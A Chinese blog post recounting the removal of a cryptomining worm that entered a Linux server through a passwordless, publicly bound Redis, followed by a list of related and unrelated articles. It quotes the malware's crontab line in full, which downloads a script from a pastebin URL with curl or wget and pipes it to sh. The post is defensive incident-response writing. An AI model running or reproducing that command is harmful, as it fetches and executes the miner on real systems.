记一次Linux服务器因redis漏洞的挖矿病毒入侵
中毒原因,redis bind 0.0.0.0 而且没有密码,和安全意识太薄弱。
所以,redis一定要设密码,改端口,不要用root用户启动,如果业务没有需要,不要bind 0.0.0.0!!!!!!!!!!!
这个病毒能都横向传播,不要以为在外网redis的端口不通就没有事情。只要内网里有机器感染了病毒,就可以继续感染。
病症:CPU被不明进程吃满。
该病毒主要是通过,crontab定时任务,向指定网站下载脚本,运行进行挖矿。
通过crontab -l 就能查看
*/15 * * * * (curl -fsSL https://pastebin.com/raw/HdjSc4JR||wget -q -O- https://pastebin.com/raw/HdjSc4JR)|sh
通过crontab -r 和crontab -e 是删除不掉的,因为本地有进程维护着这个定时任务。
而且,这个病毒还劫持了一些linux系统的命令,比如ps。
处理过程:
1.利用linux的iptables,对上方ip网段的进出口都封杀。这样能够治标,将CPU降下来。修改redis密码。
2.检查用户下的.ssh文件夹,删除不是自己的公钥。中毒的时候,有可能被写入了对方的公钥,使得别人不需要密码,直接登录ssh登录
3.利用默安科技的清理工具,进行清理。github地址:https://github.com/MoreSecLab/DDG_MalWare_Clean_Tool
4.清理之后,linux的ps命令应该是正常了,通过ps -ef 找出kerberods的相关的进程树进行杀掉,注意,病毒可能变种,还需要具体问题具体分析。
5.病毒进程杀掉之后,应该可以修改crontab里的内容了。到这里了还不行,还需要检查/var/spool/cron/ , /var/spool/cron/crontabs/ 和 /etc/cron.d/ 下的用户文件,有可能也被写入了定时任务,然后配合linux的 anacron就有可能替换cron,从而还原crontab定时任务。
上面大概就是这次清理这个病毒的大致过程,搞了两天,终于将ps进程里的 (curl -fsSL https://pastebin.com/raw/HdjSc4JR||wget -q -O- https://pastebin.com/raw/HdjSc4JR)|sh 干掉了。现在还在继续观察着,,,,,,
血的教训,服务器安全意识还是要有啊。redis能不bind 0.0.0.0 就不bind , 同时一定要设密码,创建新的用户来启动redis,限制启动redis的用户登录权限。 PS:如果确定了病毒是通过定时任务来执行的,可以对定时任务进行跟踪,查看都执行了什么。
strace -o output.txt -T -f -ff -tt -e trace=all -p 定时任务PID
记一次Linux服务器因redis漏洞的挖矿病毒入侵的更多相关文章
- linux服务器查看redis版本:
linux服务器查看redis版本:redis-server-v
- 记一次Linux服务器上查杀木马经历
开篇前言 Linux服务器一直给我们的印象是安全.稳定.可靠,性能卓越.由于一来Linux本身的安全机制,Linux上的病毒.木马较少,二则由于宣称Linux是最安全的操作系统,导致很多人对Linux ...
- Linux 服务器上Redis安装和配置
1.下载安装redis 在Linux服务器上,命令行执行以下命令(cd ./usr local/src 一般源码放在这里(推荐源码安装)) wget http://download.redis.io/ ...
- 记一次linux服务器问题处理过程
本周二的时候,涛哥找我,说明了一件事,在安装ganglia的时候,发生的一个问题. 在一台suse 10 sp1的服务器上,安装ganglia的一个依赖包,libconfuse.rpm,安装完成之后, ...
- 记一次linux服务器入侵应急响应
近日接到客户求助,他们收到托管电信机房的信息,通知检测到他们的一台服务器有对外发送攻击流量的行为.希望我们能协助排查问题. 一.确认安全事件 情况紧急,首先要确认安全事件的真实性.经过和服务器运维人员 ...
- 记一次linux下安装redis, 设置redis服务, 及添加环境变量
一. redis的安装 cd /opt # ...
- Linux服务器部署redis常见问题处理
redis开启和禁用登陆密码校验 1. 开启登陆密码校验 在redis-cli命令行工具中执行如下命令: config set requirepass yourpassword2. 禁用登陆密码校验 ...
- redis 带入的挖矿病毒 qW3xT.2 wnTKYg 解决方法
最近我的阿里云ecs 老是收到 云盾态势感知系统检测到异常 top -c 后发现一个 疑似病毒 /tmp/qW3xT.2 看到网友们的解决方案 试过之后效果不错,可以用的 知道wnTKYg是什么鬼之 ...
- 服务器由于redis未授权漏洞被攻击
昨天阿里云拦截到了一次异常登陆,改了密码后就没有管他, 今天阿里云给我发消息说我的服务器可能被黑客利用,存在恶意发包行为....... 不过我不打算只是单纯的重置系统,经过一系列的查找原因后,发现被攻 ...
随机推荐
- Kafka生产者发送消息的三种方式
Kafka是一种分布式的基于发布/订阅的消息系统,它的高吞吐量.灵活的offset是其它消息系统所没有的. Kafka发送消息主要有三种方式: 1.发送并忘记 2.同步发送 3.异步发送+回调函数 下 ...
- C# 错误集锦
①字段重复 js → qs 仔细 ② 代码臃肿 通过判断 资产类型zc_type来判断模块的显隐 实际在其中嵌入 <%=zc_type == "2"?"" ...
- Springboot中使用Scheduled做定时任务
在开发中,定时任务是常见的功能,在spring boot 下开发定时任务其实很简单,具体代码如下: 1.配置依赖包pom.xml 由于默认的maven仓库经常访问不了,这里采用了阿里云的maven仓库 ...
- Elasticsearch学习笔记一
Elasticsearch Elasticsearch(以下简称ES)是一款Java语言开发的基于Lucene的高效全文搜索引擎.它提供了一个分布式多用户能力的基于RESTful web接口的全文搜索 ...
- 全是Bug
一.开始实现程序之前 1. 在文章开头给出结对使用的Github项目地址和结对伙伴的作业地址.(两个人使用同一个) 我的结对伙伴是 : 201731044205. 伙伴的作业地址: https://w ...
- TypeError: 'module' object is not callable
pkuseg.py 内容如下: import pkusegseg = pkuseg.pkuseg()text = seg.cut('我爱北京天安门')print(text) 原因是py文件名于包名一样 ...
- Codechef August Challenge 2018 : Chef at the River
传送门 (要是没有tjm(Sakits)的帮忙,我还真不知道啥时候能做出来 结论是第一次带走尽可能少的动物,使未带走的动物不冲突,带走的这个数量就是最优解. 首先这个数量肯定是下界,更少的话连第一次都 ...
- 6.3 Pandora 实操 - 数据立方
简介 数据立方是适用于大规模实时数据(每天百亿条,10TB+ 级别数据)查询与分析的数据库系统,提供交互式的访问数据的能力,支持数据过滤.分组.聚合,实现亚秒级以内对亿行级别的数据表进行多维探索分析. ...
- Java 中关于基本数字类型的注意事项
局部变量需初始化才能访问 public void test() { float n; n = n + 1; } 窄化导致自增异常 short i = 3; i += 1; // 不提升 short i ...
- flexible.js 移动端自适应方案
一,flexible.js 的使用方式: github地址:https://github.com/amfe/lib-flexible 官方文档地址:https://github.com/amfe/ar ...